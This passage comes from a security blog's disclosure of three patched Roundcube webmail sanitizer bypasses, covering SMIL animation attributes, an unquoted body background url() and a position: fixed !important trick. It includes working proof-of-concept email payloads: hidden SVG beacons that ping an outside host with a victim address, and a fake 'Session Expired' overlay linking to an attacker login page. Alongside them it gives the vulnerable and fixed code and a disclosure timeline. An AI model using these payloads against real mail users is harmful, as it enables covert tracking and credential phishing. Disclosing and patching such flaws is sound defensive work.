the injection vector is cut off at the URI validation layer.\u003c/p\u003e\n\u003ch3 id=\"css-position\"\u003eCSS position\u003ca href=\"#css-position\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/226811a\"\u003e\u003ccode\u003e226811a\u003c/code\u003e\u003c/a\u003e) changes the \u003ccode\u003eposition: fixed\u003c/code\u003e check from exact match to substring match:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/226811a1c974271dbedca72672923abaff8191c0/program/lib/Roundcube/rcube_utils.php#L555\"\u003ercube_utils.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$property\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;position\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003estripos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;fixed\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!==\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;absolute\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003estripos\u003c/code\u003e catches \u003ccode\u003e\u0026quot;fixed !important\u0026quot;\u003c/code\u003e because \u003ccode\u003e\u0026quot;fixed\u0026quot;\u003c/code\u003e is a substring. The value gets replaced with \u003ccode\u003e\u0026quot;absolute\u0026quot;\u003c/code\u003e before it reaches token validation.\u003c/p\u003e\n\u003cp\u003eUpdate to 1.5.14, 1.6.14, or 1.7-rc5.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003ca href=\"#timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-07\u003c/td\u003e\n          \u003ctd\u003eReported to Roundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-09\u003c/td\u003e\n          \u003ctd\u003eTriaged\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-18\u003c/td\u003e\n          \u003ctd\u003e1.5.14, 1.6.14, and 1.7-rc5 released\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-18\u003c/td\u003e\n          \u003ctd\u003eThis post\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eMost of the bugs on this blog started with \u0026ldquo;I was bored.\u0026rdquo; Bored hackers are a threat model.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/fake-attachment-roundcube-mail-server-attacks-exploit-cve-2024-37383-vulnerability/\"\u003eExploited in the wild\u003c/a\u003e against a CIS government organization in June 2024. On \u003ca href=\"https://www.cisa.gov/known-exploited-vulnerabilities-catalog\"\u003eCISA\u0026rsquo;s KEV catalog\u003c/a\u003e. Roundcube XSS bugs keep ending up in targeted campaigns. \u003ca href=\"https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/\"\u003eWinter Vivern\u003c/a\u003e used a different one as a zero-day against European government entities in 2023.\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eTested on Firefox. Chrome deprecated SMIL in some contexts, but Firefox still evaluates it fully. The \u003ccode\u003emask\u003c/code\u003e property with \u003ccode\u003eurl()\u003c/code\u003e values triggers a resource load during SVG rendering.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:4\"\u003e\n\u003cp\u003e\u003ca href=\"https://html.spec.whatwg.org/multipage/obsolete.html\"\u003eDeprecated since HTML 4.01\u003c/a\u003e, listed as a non-conforming feature in the WHATWG Living Standard. Every browser still renders it, and email HTML is stuck in the 90s, so sanitizers have to handle it.\u0026#160;\u003ca href=\"#fnref:4\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:5\"\u003e\n\u003cp\u003eTwo extra words. That\u0026rsquo;s all it took.\u0026#160;\u003ca href=\"#fnref:5\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","content_text":"TL;DR: Three more bypasses in Roundcube’s HTML sanitizer. SMIL animation values and by attributes pass through without URI validation. The body background attribute gets dropped into url() unquoted, which allows CSS injection. And position: fixed !important bypasses the fixed-position mitigation for full-viewport phishing overlays. Fixed in 1.5.14, 1.6.14, and 1.7-rc5.\nVulnerability information# Field Value Vendor Roundcube Product Roundcube Webmail Affected versions \u003c 1.5.14, 1.6.x \u003c 1.6.14, 1.7-rc1 through 1.7-rc4 CVE Pending Disclosure date 2026-03-18 Going back# After the feImage bypass was patched, the sanitizer still felt fairly fragile. Same patterns everywhere: hand-maintained allowlists, attribute routing that assumed it caught everything. I was bored and didn’t feel like doing anything else, so I went poking at it again.1\nThree more things came out of it.\nSMIL animations: values and by# The feImage bug was about an element whose href went through the wrong code path. This one is about attributes that skip the code path entirely.\nSMIL animation elements (\u003canimate\u003e, \u003cset\u003e, \u003canimateTransform\u003e) can target any attribute on their parent element. The to and from attributes set start and end values, but SMIL also has values (semicolon-separated keyframes) and by (relative offset). They all do the same thing: set the value of the target attribute.\nwash_attribs() handles to and from correctly by resolving attributeName and routing the value through the appropriate URI check:\nrcube_washtml.php\n// in SVG to/from attribs may contain anything, including URIs if ($key == 'to' || $key == 'from') { $key = strtolower((string) $node-\u003egetAttribute('attributeName')); $key = trim(preg_replace('/^.*:/', '', $key)); if ($key \u0026\u0026 !isset($this-\u003e_html_attribs[$key])) { $key = null; } } This swaps the attribute name for the resolved attributeName, so to=\"https://httpbin.org\" on \u003canimate attributeName=\"href\"\u003e gets validated as if it were an href value. The right idea.\nBut values and by aren’t in that if check. They’re both in the $html_attribs allowlist, so they pass the initial gate and fall through to the generic pass-through:\nrcube_washtml.php\n} elseif ($key) { $out = $value; } No URI validation. The value goes into the output unchanged.\nThere’s a second layer to this. After CVE-2024-373832, the sanitizer blocks SMIL animations targeting attributeName=\"href\":\nrcube_washtml.php\n} elseif (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform']) \u0026\u0026 self::attribute_value($node, 'attributename', 'href') ) { Only href. But CSS properties like mask and cursor also load external resources when their values contain URLs. An \u003canimate attributeName=\"mask\" values=\"url(//httpbin.org/track)\"\u003e passes through because the element-level block doesn’t fire.\nCombined: the values attribute bypasses attribute-level validation, and targeting mask instead of href bypasses element-level blocking. Both checks miss.\nProof of concept# Zero-click open tracking. An invisible SVG off-screen:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px\"\u003e \u003crect width=\"1\" height=\"1\" fill=\"white\"\u003e \u003canimate attributeName=\"mask\" values=\"url(//httpbin.org/track?uid=victim@test.com)\" fill=\"freeze\" dur=\"0.001s\" /\u003e \u003c/rect\u003e \u003c/svg\u003e Open the email in Roundcube with “Block remote images” enabled. The browser fires a GET to the attacker’s URL.3\nSMIL’s keyTimes attribute enables timed beacons, measuring how long a recipient views the email:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px\"\u003e \u003crect width=\"1\" height=\"1\"\u003e \u003canimate attributeName=\"mask\" values=\"none;url(//httpbin.org/ping?t=1);url(//httpbin.org/ping?t=2)\" dur=\"5s\" repeatCount=\"indefinite\" /\u003e \u003c/rect\u003e \u003c/svg\u003e Body backgrounds: unquoted url()# This one is in the application layer, not the sanitizer library.\nWhen Roundcube renders an email, washtml_callback() processes the \u003cbody\u003e element’s attributes and converts them to inline CSS on the output container \u003cdiv\u003e. The background attribute4 becomes background-image:\nindex.php\ncase 'background': if (preg_match('/^([^\\s]+)$/', $value, $m)) { $style['background-image'] = \"url({$value})\"; } break; The value runs through wash_uri() before this point, which allows data:image/* URIs. Then it gets interpolated into url() without quotes.\nA ) inside the data URI terminates the url() function early, and everything after it is parsed as additional CSS properties on the container \u003cdiv\u003e. Because the injected CSS is inline style (not inside a \u003cstyle\u003e block), it bypasses mod_css_styles() and its URL callback entirely.\nProof of concept# \u003cbody background=\"data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com\"\u003e The sanitizer produces this inline style on the container:\nbackground-image: url(data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com) The ) in data:image/png,x) closes the original url(). The injected background:url(//...) loads the external resource.\nCSS position: fixed !important# Roundcube converts position: fixed to position: absolute in sanitize_css_block() to prevent elements from breaking out of the message container:\nrcube_utils.php\n} elseif ($property == 'position' \u0026\u0026 strcasecmp($value, 'fixed') === 0) { $value = 'absolute'; } strcasecmp compares the entire trimmed value against \"fixed\". Append !important and it’s no longer an exact match.5 The check fails, and \"fixed !important\" flows through the generic token validation, where explode_css_property_block() splits it into ['fixed', '!important']. Both tokens pass the allowlist individually, and the output reassembles as position: fixed !important.\nProof of concept# \u003cstyle\u003e .overlay { position: fixed !important; top: 0; left: 0; width: 100%; height: 100%; background: white; z-index: 99999; display: flex; align-items: center; justify-content: center; } \u003c/style\u003e \u003cdiv class=\"overlay\"\u003e \u003cdiv style=\"border:1px solid #ccc;border-radius:8px;padding:30px; max-width:400px;text-align:center;font-family:Arial,sans-serif\"\u003e \u003ch2\u003eSession Expired\u003c/h2\u003e \u003cp\u003eYour Roundcube session has expired due to inactivity.\u003c/p\u003e \u003ca href=\"https://httpbin.org/phish/login\" style=\"background:#0066cc;color:white;padding:10px 20px; text-decoration:none;border-radius:4px\"\u003eSign In Again\u003c/a\u003e \u003c/div\u003e \u003c/div\u003e The overlay covers the preview pane iframe. When the message is opened in a new window (no iframe), it covers the full browser viewport with no visible Roundcube chrome. A “session expired” dialog pointing to an attacker-controlled login page.\nImpact# The SMIL and body background bypasses defeat “Block remote images” to enable email tracking: open confirmation, IP logging, browser fingerprinting. The SMIL variant can also measure read time through timed beacon sequences.\nThe position: fixed bypass is a phishing vector. A full-viewport overlay can impersonate Roundcube’s own login prompt.\nRemediation# All three issues are fixed in 1.5.14, 1.6.14, and 1.7-rc5. See the Roundcube advisory.\nSMIL animations# The fix (82ab5ec) replaces the inline element-level check with a new is_insecure_tag() method that blocks SMIL animation elements targeting href, or mask/cursor when the values attribute contains url():\nrcube_washtml.php\nprivate static function is_insecure_tag($node) { $tagName = strtolower($node-\u003enodeName); if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) { return false; } if (self::attribute_value($node, 'attributeName', '/^href$/i')) { return true; } return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i') \u0026\u0026 self::attribute_value($node, 'values', '/url\\(/i'); } The fix blocks the entire element when it detects a dangerous combination rather than adding values and by to the attribute-level validation. The attribute_value() helper was also changed from exact string matching to regex matching to support this.\nBody backgrounds# The fix (fd0e981) adds validation in wash_uri() that rejects data URIs unless they’re properly base64-encoded:\nrcube_washtml.php\n// At this point we allow only valid base64 images if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\\s/+]|i', $matches[2])) { return ''; } The crafted data:image/png,x) payload fails the first check: the type is png, not png;base64, so stripos returns false and the URI is rejected. The second check guards base64-encoded payloads against smuggled characters like ). The unquoted url() interpolation in washtml_callback() is unchanged, but the injection vector is cut off at the URI validation layer.\nCSS position# The fix (226811a) changes the position: fixed check from exact match to substring match:\nrcube_utils.php\n} elseif ($property == 'position' \u0026\u0026 stripos($value, 'fixed') !== false) { $value = 'absolute'; } stripos catches \"fixed !important\" because \"fixed\" is a substring. The value gets replaced with \"absolute\" before it reaches token validation.\nUpdate to 1.5.14, 1.6.14, or 1.7-rc5.\nTimeline# Date Event 2026-03-07 Reported to Roundcube 2026-03-09 Triaged 2026-03-18 1.5.14, 1.6.14, and 1.7-rc5 released 2026-03-18 This post Most of the bugs on this blog started with “I was bored.” Bored hackers are a threat model. ↩︎\nExploited in the wild against a CIS government organization in June 2024. On CISA’s KEV catalog. Roundcube XSS bugs keep ending up in targeted campaigns. Winter Vivern used a different one as a zero-day against European government entities in 2023. ↩︎\nTested on Firefox. Chrome deprecated SMIL in some contexts, but Firefox still evaluates it fully. The mask property with url() values triggers a resource load during SVG rendering. ↩︎\nDeprecated since HTML 4.01, listed as a non-conforming feature in the WHATWG Living Standard. Every browser still renders it, and email HTML is stuck in the 90s, so sanitizers have to handle it. ↩︎\nTwo extra words. That’s all it took. ↩︎\n","date_published":"2026-03-18T00:00:00Z","date_modified":"2026-03-18T00:00:00Z","tags":["vulnerability","roundcube","svg","css","email-security"]}]}